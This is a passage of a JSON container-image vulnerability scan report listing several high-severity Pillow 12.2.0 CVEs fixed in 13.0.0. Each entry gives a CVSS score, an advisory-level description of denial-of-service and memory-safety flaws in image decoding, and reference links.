"pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112399", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:e194e7e3ac08877e1b6204f6192f42ad6fdd80a5cf8daf71ad3ca3ae9e2c37d4", "Title": "pillow: pillow: Denial of service via crafted APNG image", "Description": "Pillow is a Python imaging library. From 8.1.0 until 13.0.0, Pillow can allocate an APNG disposal background at the full canvas size before applying the decompression-bomb check. A crafted APNG with a small first frame, a very large declared canvas, and background disposal or first-frame OP_PREVIOUS reaches PngImageFile._seek while Image.open() positions frame zero. The full-canvas allocation occurs inside Image.open() without requiring pixel loading or frame iteration. This can exhaust memory and deny service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112399", "https://advisory.echohq.com/cve/CVE-2026-112399", "https://getsafety.com/v/SFTY-20261021-76942/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5xm2-6676-qcp9", "https://nvd.nist.gov/vuln/detail/CVE-2026-112399", "https://www.cve.org/CVERecord?id=CVE-2026-112399" ], "PublishedDate": "2026-10-19T22:17:07.24Z", "LastModifiedDate": "2026-10-28T16:17:02.13Z" }, { "VulnerabilityID": "CVE-2026-112400", "VendorIDs": [ "GHSA-65qm-jvmh-6pqg" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112400", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a88ba6f8c5a49af88d749d79f43b14f9b8fb5a14d3094fbae90c7d2ce633a35f", "Title": "pillow: pillow: Denial of Service via memory exhaustion from crafted GIF image", "Description": "Pillow is a Python imaging library. From 9.2.0 until 13.0.0, Pillow can retain a rejected GIF frame size after a decompression-bomb exception. In GifImageFile._seek, a crafted GIF can leave rejected dimensions stored after Image.DecompressionBombError; if an application catches that exception and continues processing the same image object, later seek or load operations allocate according to those dimensions and can exhaust memory, denying service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112400", "https://advisory.echohq.com/cve/CVE-2026-112400", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg", "https://nvd.nist.gov/vuln/detail/CVE-2026-112400", "https://www.cve.org/CVERecord?id=CVE-2026-112400" ], "PublishedDate": "2026-10-19T22:17:07.367Z", "LastModifiedDate": "2026-10-27T21:02:32.24Z" }, { "VulnerabilityID": "CVE-2026-112402", "VendorIDs": [ "GHSA-7mwm-ghpf-9vrm" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112402", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:ec781bd6704b2d0c9877146b0fa81636a3dcc397287545d3d070c6e657e08c9d", "Title": "pillow: pillow: Denial of service via double free during image transformation", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow can double free image memory when ImagingScaleAffine encounters a selective allocation failure. The affected fast path handles Transform.EXTENT or pure scale-and-translate Transform.AFFINE operations with the default NEAREST resampling. The output image allocation must succeed while the additional per-column lookup allocation fails, after which the error path deletes image storage that later cleanup releases again. An attacker who can drive such a large Image.transform() operation under memory pressure may trigger the failure. This can crash the process and may corrupt memory. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112402", "https://advisory.echohq.com/cve/CVE-2026-112402", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-43268/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/aafa6c75f7cdabb9f409a8aac7c780bea31d08d9", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-7mwm-ghpf-9vrm", "https://linux.oracle.com/cve/CVE-2026-112402.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112402", "https://www.cve.org/CVERecord?id=CVE-2026-112402" ], "PublishedDate": "2026-10-19T22:17:07.633Z", "LastModifiedDate": "2026-10-27T21:03:13.88Z" }, { "VulnerabilityID": "CVE-2026-112404", "VendorIDs": [ "GHSA-c6hw-5grf-ff96" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112404", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:5404920340b2d9ea49c44218d22afa08a694448790eee98095da277cad5262fa", "Title": "pillow: Pillow: Denial of Service via out-of-bounds read in TIFF decoding", "Description": "Pillow is a Python imaging library. From 8.1.0 until 13.0.0, Pillow's TIFF tile and RGBA decode paths can read beyond row data produced by libtiff. In _decodeTile and the RGBA unpacker path, when Pillow and libtiff interpret duplicated PhotometricInterpretation or BitsPerSample tags differently, Pillow does not verify that the required input row fits inside the row libtiff produced, while the strip path has this validation. Loading pixels from such a crafted TIFF can expose adjacent heap data in output pixels or crash the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-126" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112404", "https://advisory.echohq.com/cve/CVE-2026-112404", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-c6hw-5grf-ff96", "https://nvd.nist.gov/vuln/detail/CVE-2026-112404", "https://www.cve.org/CVERecord?id=CVE-2026-112404" ], "PublishedDate": "2026-10-19T22:17:07.9Z", "LastModifiedDate": "2026-10-28T16:17:02.273Z" }, { "VulnerabilityID": "CVE-2026-112405", "VendorIDs": [ "GHSA-cp9v-662q-vvx9" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112405", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:010001494d31d1423912f939f6c4148279e1c8e2573268e199ad3cc3716d5506", "Title": "pillow: Pillow: Denial of Service via null pointer dereference in Image.merge()", "Description": "Pillow is a Python imaging library. From 12.0.0 until 13.0.0, Pillow's Image.merge() can dereference a null image8 plane. Validation skips the first input band, allowing a 32-bit integer or floating-point image backed by image32 storage to be merged as a narrower multiband image. A crafted IPTC file can reach this path when an application opens and loads it, or a caller can invoke Image.merge() directly with such a first band. This causes a native process crash. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112405", "https://advisory.echohq.com/cve/CVE-2026-112405", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-10844/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9", "https://linux.oracle.com/cve/CVE-2026-112405.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112405", "https://www.cve.org/CVERecord?id=CVE-2026-112405" ], "PublishedDate": "2026-10-19T22:17:08.027Z", "LastModifiedDate": "2026-10-27T14:59:59.923Z" }, { "VulnerabilityID": "CVE-2026-112406", "VendorIDs": [ "GHSA-f2g6-542v-9j58" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112406", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:3a90038792faaf65419dc012d759eadb5a16b42b577c6ae2e50479804493d7ef", "Title": "pillow: pillow: Denial of Service via infinite loop during PDF page rewriting", "Description": "Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can enter an infinite loop while rewriting PDF pages. PdfParser.rewrite_pages() follows Parent relationships without detecting a cycle in the page tree. An attacker can supply a cyclic PDF to an application that appends an image to that PDF. This can hold the worker at full CPU and deny service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112406", "https://advisory.echohq.com/cve/CVE-2026-112406", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-82408/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/b3ebf20c694f2f12537a629c30229a1d5a53f777", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-f2g6-542v-9j58", "https://linux.oracle.com/cve/CVE-2026-112406.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112406", "https://www.cve.org/CVERecord?id=CVE-2026-112406" ], "PublishedDate": "2026-10-19T22:17:08.153Z", "LastModifiedDate": "2026-10-27T14:59:51.513Z" }, { "VulnerabilityID": "CVE-2026-112892", "VendorIDs": [ "GHSA-gg2r-wvfm-q9rx" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112892", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:6daef971f95cfbaaccf7be037769e49a7e22e768e2651950a1086c266d864a56", "Title": "pillow: pillow: Denial of Service via unbounded memory expansion in MSP image decoder", "Description": "Pillow is a Python imaging library. From 4.1.0 until 13.0.0, Pillow's MSP RLE decoder can expand a small file into an unbounded in-memory buffer. The decoder writes run-length output to BytesIO without limiting expansion to the declared image size. An attacker can supply a crafted MSP image to an application that loads its pixels. This can exhaust memory and deny service even when the declared pixel count passes the decompression-bomb check. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-409" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112892", "https://advisory.echohq.com/cve/CVE-2026-112892", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-81271/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/5dcb630b9798efd91929cb873d677aeee6ed0bb3", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-gg2r-wvfm-q9rx", "https://linux.oracle.com/cve/CVE-2026-112892.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112892", "https://www.cve.org/CVERecord?id=CVE-2026-112892" ], "PublishedDate": "2026-10-19T22:17:09.21Z", "LastModifiedDate": "2026-10-27T14:59:30.563Z" }, { "VulnerabilityID": "CVE-2026-112893", "VendorIDs": [ "GHSA-j4m9-6w36-pw47" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112893", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:97ed6078834d438b57ae05ba194c9b1d5d7278f95dc9ab466ecd101a732e3adc", "Title": "pillow: Pillow: Denial of Service via invalid pointer free during font rendering", "Description": "Pillow is a Python imaging library. From 10.0.0 until 13.0.0, Pillow can free an invalid glyph pointer during FreeType rendering with an active stroker. If FT_Load_Glyph fails, cleanup may call FT_Done_Glyph on an uninitialized or stale glyph variable. An attacker can supply a malformed font as untrusted bytes to an application that draws text with a nonzero stroke width, forcing the glyph-load failure path. This can corrupt memory or crash the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-457", "CWE-763" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 